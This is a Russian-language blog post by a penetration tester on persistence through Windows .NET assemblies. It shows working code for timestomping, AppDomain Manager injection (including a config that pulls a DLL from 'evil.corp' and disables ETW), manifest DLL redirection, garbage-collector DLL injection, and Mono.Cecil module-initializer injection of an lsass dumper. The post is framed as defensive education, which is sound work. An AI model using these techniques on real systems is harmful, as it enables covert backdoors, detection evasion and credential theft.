Привет, Хабр! Меня зовут Миша, я работаю ведущим экспертом по тестированию на проникновение в команде CICADA8 Центра инноваций МТС Future Crew. Недавно я занимался исследованием ранее неизвестных и просто любопытных способов закрепления в системах Windows. Я обратил внимание на одну особенность — в Windows очень много .NET-сборок. Как атакующие могут использовать их в своих целях против вас? Давайте разбираться.

Я сделал небольшой экскурс в прекрасный мир C#. Вы увидите, как злоумышленники прямо инфицируют сборки, принудительно добавляют в них импорты, внедряются с помощью AppDomain Manager, делают бэкдор через .NET-компилятор и Module Initializer.

Attention! Я рассказываю это все не для того, чтобы вы пошли взламывать чужие системы, а даю возможность увидеть, где и как злоумышленники могут закрепиться. Понимание принципов атаки позволяет быстро находить ее источник и реагировать на угрозу. Предупрежден — значит вооружен.

А сколько вообще этих самых .NET-сборок в Windows?

Без кодинга тут не обойтись, поэтому предлагаю рекурсивно побегать по файловой системе и проверить, какие файлы в ней представляют собой сборку.

Выделю четыре папки: C:\Windows, C:\Program Files, C:\Program Files (x86), C:\ProgramData. Но это не гарантирует точные результаты: пользователь может хранить десять миллионов программ на C# на рабочем столе. Мне интересны примерные цифры, которые присутствуют плюс-минус в каждой среднестатистической системе.

Проверку на .NET-сборку делать легко. Можно попробовать применить по отношению к файлу любой метод из System.Reflection. Я выбрал AssemblyName.GetAssemblyName(). Если файл является валидной .NET-сборкой, то наш код успешно получит его имя, в обратном случае — выкинет исключение. Так и будем считать количество файлов. С кодом по подсчету можно ознакомиться здесь.

Процессору пришлось потрудиться, но чего только не сделаешь для исследования:

После запуска видим в консоли следующие цифры:

Из ЕХЕ-файлов лишь 5% — сборки, а среди DLL их уже больше 20%
Из ЕХЕ-файлов лишь 5% — сборки, а среди DLL их уже больше 20%

Такие результаты говорят, что в целевой системе точно есть пространство для фантазии. Все эти файлы — потенциальные места, где злоумышленники могут оставить нагрузку.

Прямое инфицирование

При компиляции программы под CLR-среду генерируется ее представление в MSIL-коде, который достаточно легко декомпилируется. Это упрощает задачу не только реверс-инженерам, но и нам, пентестерам: мы можем править MSIL-код любой сборки. С обычными, нативными приложениями так не получится.

В случае .NET-сборок можно добавить собственный код как в конкретную сборку, так и в ее зависимость. Второй способ считается чуть более предпочтительным: при нем не будет испорчена цифровая подпись инфицируемой сборки, так как ее файл останется прежним. Целевая сборка в рантайме подгрузит измененную зависимость и заразится. Такой метод используется при выборе нагрузки для фишинга через ClickOnce.

Провести подобное инфицирование проще всего — достаточно открыть целевую сборку в отладчике, обратить внимание на References и методы, которые вызываются из кода основной программы. Затем либо в зависимостях добавляем какому-нибудь классу конструктор (в том числе статический), либо правим код метода, чтобы наша команда выполнялась при передаче на него потока управления.

Давайте рассмотрим конкретный пример. Сначала находим сборку на целевой системе и открываем в любом подходящем отладчике:

Теперь смотрим, где оставить нагрузку. Можно изменить конкретный метод или изучить функции приложения, покопаться в зависимостях и найти что-нибудь там.

Для целей демонстрации изменим точку входа — функцию Main():

Затем добавляем любой C#-код. Например, суперзлую, вредоносную MessageBox(). Все-таки вызов калькулятора — это иной уровень, понимать надо.

Если наш код правильный, то все успешно скомпилируется и мы увидим, как он изменился в методе. Кстати, найдете в коде мою ошибку? :)

Сохраняем файл и при запуске получаем наше сообщение.

Нагрузка исполнилась:)
Нагрузка исполнилась:)

TimeStomping

Любой простой метод должен иметь собственные минусы, и прямое инфицирование не исключение. Файл перезаписывается, поле «Дата изменения» обновляется, также меняется и его размер. Последняя проблема легко решается через техники File Pumping, но что делать с датой?

Тут мы видим разные даты изменения
Тут мы видим разные даты изменения

К счастью всех злодеев, существует API SetFileTime(), с помощью которого можно исправить временны́е метки у любого файла. В том числе и у нашей измененной сборки.

Для примера установим время на 1 января 2001 года и получим сборку из прошлого.

```cpp
#include <iostream>
#include <Windows.h>
int main() {
    const wchar_t* filePath = L"C:\\Users\\Michael\\Downloads\\MTS-BYOD-changed.exe";
    
    FILETIME fakeCreationTime;
    FILETIME fakeAccessTime;
    FILETIME fakeModificationTime;
    
    SYSTEMTIME st;
    st.wYear = 2001;
    st.wMonth = 1;
    st.wDay = 1;
    st.wHour = 12;
    st.wMinute = 0;
    st.wSecond = 0;
    st.wMilliseconds = 0;
    SystemTimeToFileTime(&st, &fakeCreationTime);
    SystemTimeToFileTime(&st, &fakeAccessTime);
    SystemTimeToFileTime(&st, &fakeModificationTime);
    
    HANDLE hFile = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    
    SetFileTime(hFile, &fakeCreationTime, &fakeAccessTime, &fakeModificationTime);
    
    CloseHandle(hFile);
    std::cout << "File timestamps timestomped successfully." << std::endl;
    return 0;
}
```
Файл времен Windows XP
Файл времен Windows XP

AddExeImport

Следующий метод внедрения обычно используют, чтобы нагрузка оставалась в нативных приложениях. У каждого PE-файла есть IAT (Import Address Table) — таблица со списком всех функций из DLL. Если атакующий добавит в нее запись, его библиотека будет подгружена целевым приложением.

Первым такой метод описал исследователь x86matthew.com, но на момент написания статьи часть его публикаций скрыта, в том числе и с кодом AddExeImport. Первым аргументом в нем указывается целевой ехе-файл, куда импортируется новая запись, а вторым — путь до добавляемой DLL.

```shell
.\AddExeImport.exe .\MTS-BYOD.exe .\hello-world-x86.dll
```

Выполнение команды создаст новый файл с постфиксом modified.

Проверим IAT файла и убедимся, что запись успешно добавилась в таблицу.

Теперь целевая программа использует нашу DLL.

AppDomain Manager Injection

Альтернативный метод инфицирования .NET-сборок основывается на возможности внедрения собственного Application Domain. С его помощью можно исполнять произвольный код внутри приложения. Сам по себе легитимный Application Domain создается платформой CLR и объединяет разные сборки в один логический контейнер. Application Domain можно считать процессом внутри процесса: у него могут быть свои потоки, механизмы с безопасностью и тому подобное.

Стоит отметить, что AppDomain Manager Injection пройдет только с .NET Framework, на том же CoreCLR не сработает. Метод достаточно хорошо задокументирован: если вы о нем не слышали, можно посмотреть статьи от pentestlaboratories, rapid7, ipslav.

Существует репозиторий .NetConfigLoader, содержащий список подписанных Microsoft .NET-сборок, которые можно использовать для подгрузки нашей собственной библиотеки через .config-файл. Чтобы понять, как работает этот инструмент, рассмотрим пример ниже.

Итак, у нас есть следующий код:

```cs
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
 
public sealed class MyAppDomainManager : AppDomainManager
{
    
	public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
	{  
    	 
    	bool res = ClassExample.Execute();
     	 
    	return;
	}
}
 
public class ClassExample
{     	 
    	 
	public static bool Execute()
	{
    	System.Windows.Forms.MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
	return true;
	}
}
```

Компилируем его.

```shell
csc /platform:x64 /target:library AppDomInject.cs
```

Затем копируем целевое .NET-приложение, которое хотим пробэкдорить, в отдельную папку. В нашем случае им стала программа UevAppMonitor.exe из C:\Windows\System32. Копируем ее в C:\Test вместе с библиотекой, которую нужно подгрузить. После перемещения UevAppMonitor.exe создаем файл конфигурации под названием UevAppMonitor.exe.config со следующим содержимым:

```xml
<configuration>
   <runtime>
  	<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
     	<probing privatePath="C:\Test"/>
  	</assemblyBinding>
  	<appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
  	<appDomainManagerType value="MyAppDomainManager" />
   </runtime>
</configuration>
```

После запуска UevAppMonitor.exe видим, что он подгружает нашу библиотеку:

Успешное выполнение кода
Успешное выполнение кода

Файл конфигурации может быть указан так, чтобы библиотека подгружалась со стороннего ресурса:

```xml
<configuration>
   <runtime>
  	<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
     	<dependentAssembly>
        	<assemblyIdentity name="test" publicKeyToken="d34db33fd34db33f" culture="neutral" />
        	<codeBase version="1.0.0.0" href="https://evil.corp/AppDomInject.dll"/>
     	</dependentAssembly>
  	</assemblyBinding>
  	<etwEnable enabled="false" />
  	<appDomainManagerAssembly value="AppDomInject, Version=1.0.0.0, Culture=neutral, PublicKeyToken=d34db33fd34db33f" />
  	<appDomainManagerType value="MyAppDomain" />
   </runtime>
</configuration>
```

Это позволяет избежать различных детектов. Для загрузки библиотеки она должна иметь подпись (заполненное не нулями поле PublicKeyToken). Если этого в файле конфигурации нет, то сборка, в которую злоумышленник хочет инжектиться, не будет грузить нашу либу.

Отдельно отмечу, что существуют файлы Machine.config, через которые можно не только подгружать код, но еще и отключать ETW в сборке. Впрочем, для реализации требуются права локального администратора. Тем не менее POC есть тут.

Еще существуют файлы .manifest. Для проведения инжекта нужно самим создать такой файл либо добавить в него зависимость от конкретной библиотеки. Вот пример конфига:

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="6.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
<description>DLL Redirection</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
    <file
    name="user32.dll"
    />
</assembly>
```

В этом случае с помощью атрибута name указываем, что целевая сборка зависит от user32.dll. После чего файл нужно сохранить с названием program.exe.manifest, где program.exe — имя приложения, куда должна подгрузиться библиотека.

В итоге user32.dll будет подгружаться из текущей директории, где запускается приложение.

Добавление сборщика мусора

C#, как и любой другой уважающий себя язык программирования, предоставляет возможность сбора мусора. Сборщик может быть создан и неравнодушными разработчиками в виде .DLL-библиотеки. Она будет подгружена в адресное пространство процесса dotnet.exe. Самое главное — эта либа должна экспортировать функцию GC_VersionInfo().

Внедрение же происходит с помощью переопределения переменной среды COMPLUS_GCName. Пример .DLL:

```cpp
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                   	DWORD  ul_reason_for_call,
                   	LPVOID lpReserved
                 	)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
    	break;
	}
	return TRUE;
}

struct VersionInfo
{
	UINT32 MajorVersion;
	UINT32 MinorVersion;
	UINT32 BuildVersion;
	const char* Name;

};

extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info)
{
	info->BuildVersion = 0;
	info->MinorVersion = 0;
	info->BuildVersion = 0;
	MessageBoxA(NULL, "Injection", "Injection", 0);
}
```

Внедрить ее можно, выполнив следующую команду:

```shell
set COMPLUS_GCName=..\..\..\..\..\..\..\..\..\..\..\..\..\labs\GarbageCollector\GC\x64\Release\GC.dll & dotnet.exe -h
```

Оставляем Module Initializer

Module Initializer — это как DllMain(), но в контексте .NET-сборки. Он вызывается либо перед методом Main(), либо сразу при загрузке сборки, если она скомпилирована как DLL-библиотека или вшита в программу.

Его можно добавлять с помощью разных модулей. Я разберу POC от xpn, в котором используется Mono.Cecil. Он основывается на том, что идет добавление некоторой вредоносной .NET-сборки (sharpdump.exe) в суррогатное приложение (surrogate.exe) в качестве ресурса:

```cs
var cecilAssembly = Mono.Cecil.AssemblyDefinition.ReadAssembly("surrogate.exe");

EmbeddedResource r = new EmbeddedResource("embedded", ManifestResourceAttributes.Public, File.ReadAllBytes("sharpdump.exe"));

cecilAssembly.MainModule.Resources.Add(r);
```

Так как вредоносный код будет выполняться сразу при запуске зараженной сборки, поток управления на внедренный ресурс передаст Module Initializer. Чтобы добавить новый инициализатор модуля, используем следующие вызовы Cecil:


```cs
// Get a reference to the current "<Module>" class
var moduleType = cecilAssembly.MainModule.Types.FirstOrDefault(x => x.Name == "<Module>");

// Check for any existing constructor / module initialiser
var method = moduleType.Methods.FirstOrDefault(x => x.Name == ".cctor");

if (method == null)
{
  // No module initialiser so we need to create one
  method = new MethodDefinition(".cctor",
                            	MethodAttributes.Private |
                            	MethodAttributes.HideBySig |
                            	MethodAttributes.Static |
                            	MethodAttributes.SpecialName |
                            	MethodAttributes.RTSpecialName,
                            	cecilAssembly.MainModule.TypeSystem.Void
                            	);
  moduleType.Methods.Add(method);
}
```

Мало добавить инициализатор модуля, нужно привязать к нему и логику. Это не самая тривиальная задача, так как атакуемая сборка уже скомпилирована. В результате работаем напрямую с MSIL-кодом, а целевой файл находится в ресурсах.

Здесь можно смело использовать рефлексию и до боли знакомый Assembly.Load. Если посмотрим способ xpn, то убедимся, что именно этот метод он и применяет:

```cs
// Get a stream to our injected resource
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("embedded");

// Read the injected resource bytes
byte[] array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);

// Remove the initial application element from the commandline
string[] commandline = Environment.GetCommandLineArgs();
string[] argsOnly = new string[commandline.Length];
Array.Copy(commandline, 1, argsOnly, 0, commandline.Length - 1);

// Pass execution to our injected assembly along with arguments
Assembly assembly = Assembly.Load(array);
assembly.EntryPoint.Invoke(null, new object[]
{
	argsOnly
});
```

Метод обернут в инструкции ilProc.Append(ilProc.Create(...));, что позволяет напрямую вставить MSIL-код. С помощью Module Initializer атакующие получают возможность поместить одну .NET-сборку в другую. Успешность работы демонстрируется самим автором в блоге.

А в этом случае сборка внедряется по дампу lsass.exe внутрь легитимного приложения InstallUtil.exe:

Предупрежден — значит вооружен

Для закрепления в системе атакующие могут использовать любые файлы. Злоупотребление .NET-сборками, возможно, останется редким решением, но стоит учитывать этот необычный способ при защите своих ресурсов. Если вас заинтересует эта тема, в следующей статье я подробно расскажу, как предотвратить подобные атаки.

Комментарии (0)